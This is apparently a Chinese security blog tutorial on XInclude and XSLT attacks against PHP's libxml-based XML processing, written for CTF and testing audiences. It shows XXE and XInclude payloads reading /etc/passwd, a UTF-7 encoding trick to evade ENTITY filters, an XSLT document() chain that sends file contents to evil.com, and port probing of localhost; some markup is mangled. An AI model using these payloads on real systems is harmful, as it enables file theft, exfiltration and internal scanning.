淺析xml之xinclude & xslt
前言
最近依舊在研究xml及其相關安全問題,前一篇文章已經提及了較為大眾且CTF中常見的xml攻擊方式
https://www.anquanke.com/post/id/155328
這里再提兩個較為小眾的攻擊方式(此處小眾是指CTF比賽中不常見)
Xinclude
什么是xinclude
顧名思義,xinclude可以理解為xml include
熟悉編譯/腳本語言的一定熟知,像php的include,python和java的import都是可以進行文件包含的。
那么文件包含有什么好處?
當然是可以使代碼更整潔,我們可以將定義的功能函數放在function.php中,再在需要使用功能函數的文件中使用include包含function.php,這樣就避免了重復冗余的函數定義,同樣可以增加代碼的可讀性
故此,xinclude也不例外,它是xml標記語言中包含其他文件的方式
為什么使用xinclude
正如如上所說,xinclude可以使代碼可讀性更高,這里給出官方手冊中的樣例,便于理解:
page.xml
<webpage> <body>Hello world!body> <xi:include href="templates/footer.xml" xmlns:xi="http://www.w3.org/2003/XInclude"/> webpage>
footer.xml:
<footer>? Contoso Corp, 2003footer>
處理過程

xinclude的語法介紹
xinclude的語法相對來說,非常簡單,只是在http://www.w3.org/2003/XInclude命名空間中的兩個元素,即 include 和 fallback
常用的命名空間前綴是“xi”(但可以根據喜好自由使用任何前綴)
xi:include 元素
元素中的幾個屬性:
- href — 對要包括的文檔的 URI 引用。
- parse — 它的值可以是“xml”或“text”,用于定義如何包括指定的文檔(是作為 XML 還是作為純文本)。默認值是“xml”。
- xpointer — 這是一個 XPointer,用于標識要包括的 XML 文檔部分。如果作為文本包括 (parse=”text”),將忽略該屬性。
encoding — 作為文本包括時,該屬性提供所包括文檔的編碼提示信息。
樣例如下:
xi:fallback 元素
簡單而言,類似于try...except...,如果xinclude的內容出現問題,則顯示fallback的內容
例如
<xi:include href="test.xml" parse="text"/>
<xi:fallback>Sorry, the file is unavailable<xi:fallback>
xi:include>
此時解析xml后,若test.xml不存在,則會解析獲取到Sorry, the file is unavailable
安全問題
看完上述內容,一定會有人問,為什么不直接使用外部實體引入就好了?
這里官方文檔也給出了詳盡的解釋:
XML 外部實體有很多眾所周知的局限和不便于使用的含義,這些因素極大地妨礙了 XML 外部實體成為多用途包含工具:
- 1.XML 外部實體無法成為一個成熟的獨立 XML 文檔,因為它既不允許獨立的 XML 聲明,也不允許 Doctype 聲明。這實際上意味著 XML 外部實體本身無法包括其他外部實體。
- 2.XML 外部實體必須是格式規范的 XML
- 3.未能加載外部實體是重大錯誤 (fatal error);嚴格禁止任何恢復。
- 4.只能包括整個外部實體,無法只包括文檔的一部分。
5.外部實體必須在 DTD 或內部子集中進行聲明。
等等,外部實體?講到安全問題,你是否立刻就想到了XXE(XML External Entity Injection)任意文件讀取的問題?
沒錯,xinclude作為外部實體引用的替代品,同樣具有XXE的問題,并且還有一些特別的地方:
傳統的XXE文件讀取
$xml = << ]> &f; EOD; $dom = new DOMDocument; // let's have a nice output $dom->preserveWhiteSpace = false; $dom->formatOutput = true; // load the XML string defined above $dom->loadXML($xml); // substitute xincludes echo $dom->saveXML(); ?>
但是訪問該頁面,我們卻發現并沒有解析xml

這是因為php的xml庫的底層庫是libxml2,而在2.6版本之后,改庫已默認禁用外部實體引用的解析,我們可以使用
echo LIBXML_DOTTED_VERSION;
來查看當前版本號

所以我當前的xml解析已默認不支持外部實體引入了,故此我們查閱php手冊中的libxml option constants,可以發現使用LIBXML_NOENT選項即可加載外部實體
所以關鍵代碼更改為
$dom->loadXML($xml,LIBXML_NOENT);
即可:

傳統文件讀取進階版—過濾
倘若我們發現外部實體引入時,存在關鍵詞過濾
例如
ENTITY
等被過濾,那么我們可以嘗試使用utf-7編碼
例如
]> <x>&f;x>
我們利用
https://www.motobit.com/util/charset-codepage-conversion.asp
轉為utf-7
+ADwAIQ-DOCTYPE ANY +AFs- +ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg- +AF0APg- +ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
然后使用
測試腳本
$xml = <<
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>
效果如下

xinclude文件讀取
倘若由于需要,我們使用了xinclude
$xml = << EOD; $dom = new DOMDocument; // let's have a nice output $dom->preserveWhiteSpace = false; $dom->formatOutput = true; $dom->loadXML($xml); $dom->xinclude(); echo $dom->saveXML(); ?>
我們發現
$dom->loadXML($xml);
我們并沒有打開外部實體引用選項,卻成功的讀取/etc/passwd的內容

這一點值得關注,倘若我們在測試過程中,發現我們可控xml文本內容,但是引入外部實體無效或是存在過濾,嘗試編碼繞過也不行的時候,那么可以嘗試使用xinclude
因為xinclude無需使用LIBXML_NOENT選項去開啟默認關閉的外部實體引用
XSLT
XSL 指擴展樣式表語言(EXtensible Stylesheet Language)
而XSLT 指 XSL 轉換:即使用 XSLT 可將 XML 文檔轉換為其他文檔,比如XHTML。
簡單樣例
下面展示利用php后端語言,將xml轉換為html
test.xml
<root>
<name>skyname>
<blog>skysec.topblog>
<country>Chinacountry>
root>
test.xsl
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">Nameth>
<th align="left">Blogth>
<th align="left">Countryth>
tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="name" />td>
<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>
tr>
xsl:for-each>
table>
body>
html>
xsl:template>
xsl:stylesheet>
test.php
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl");
$xmlDoc = new DOMDocument();
$xmlDoc->load("test.xml");
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);
結果如下

查看源代碼
<html><body><table border="1"> <tr bgcolor="#9acd32"> <th align="left">Nameth> <th align="left">Blogth> <th align="left">Countryth> tr> <tr> <td>skytd> <td>skysec.toptd> <td>Chinatd> tr> table>body>html>
發現
<td><xsl:value-of select="name" />td> <td><xsl:value-of select="blog" />td> <td><xsl:value-of select="country" />td>
已被替換成對應的值
安全問題
傳統文件讀取
這里的安全問題基本與xml中相同
像讀文件:
]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/root"> &shit; xsl:template> xsl:stylesheet>

這就很成功的可以讀取文件內容了
但是需要注意的是,同樣因為php底層的libxml庫默認禁用了外部實體引入,所以我們還是需要手動加入
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl",LIBXML_NOENT);
xsl文件讀取
當沒開啟外部實體引入的時候,我們可以考慮如下方式
- 查閱手冊,發現該元素必須是 或 的子節點
- 語法為
既然是url,那么利用的方式就有很多種了
例如:
此時報錯了

我們嘗試用base64

解base64

這很不爽,因為
echo $proc->transformToXML($xmlDoc)
的原因,我們不能輸出完整的信息
如果我改成
echo base64_encode($proc->transformToXML($xmlDoc));
其實是可以成功讀取文件內容的,但估計目標不會先base64再幫我們打印出來吧
所以有了以下方法
- document()
- 我們結合該函數卻可以直接帶出數據
<xsl:variable name="name1" select="document('file:///etc/passwd')" />
<xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" />
<xsl:variable name="name3" select="document($name2)" />
傳統端口探測
話不多說,測試腳本如下
當外部實體引用開啟時
$xml = << ]> &shit; EOD; $dom = new DOMDocument; // let's have a nice output $dom->preserveWhiteSpace = false; $dom->formatOutput = true; $dom->loadXML($xml,LIBXML_NOENT); echo $dom->saveXML(); ?>
當端口關閉的時候發現

當端口開啟的時候

xsl端口探測
上述方法需要開啟外部實體引入,而這里只需要使用document()函數即可
給出部分代碼
<xsl:for-each select="sky">
<tr>
<td><xsl:value-of select="name" />td>
<td><xsl:value-of select="blog" />td>
<td><xsl:value-of select="country" />td>
<td><xsl:value-of select="document('http://127.0.0.1:9999')" />td>
tr>
xsl:for-each>
當端口關閉時
當端口開啟時

CTF樣題
曾經有做過一道xslt服務端注入攻擊的綜合題目,有興趣的可以看這篇wrietup
http://skysec.top/2018/03/23/%E4%BB%8Esql%E6%B3%A8%E5%85%A5%E5%88%B0xslt%E5%86%8D%E5%88%B0xxe%E7%9A%84%E4%B8%80%E9%81%93ctf%E9%A2%98%E7%9B%AE/#%E6%80%9D%E8%80%83%E6%94%BB%E5%87%BB%E7%82%B9
后記
Xml作為一種標記語言,其中蘊含的技巧還有許多等待探索,我在此拋磚引玉了~很期待有師傅來交流一些XD的姿勢~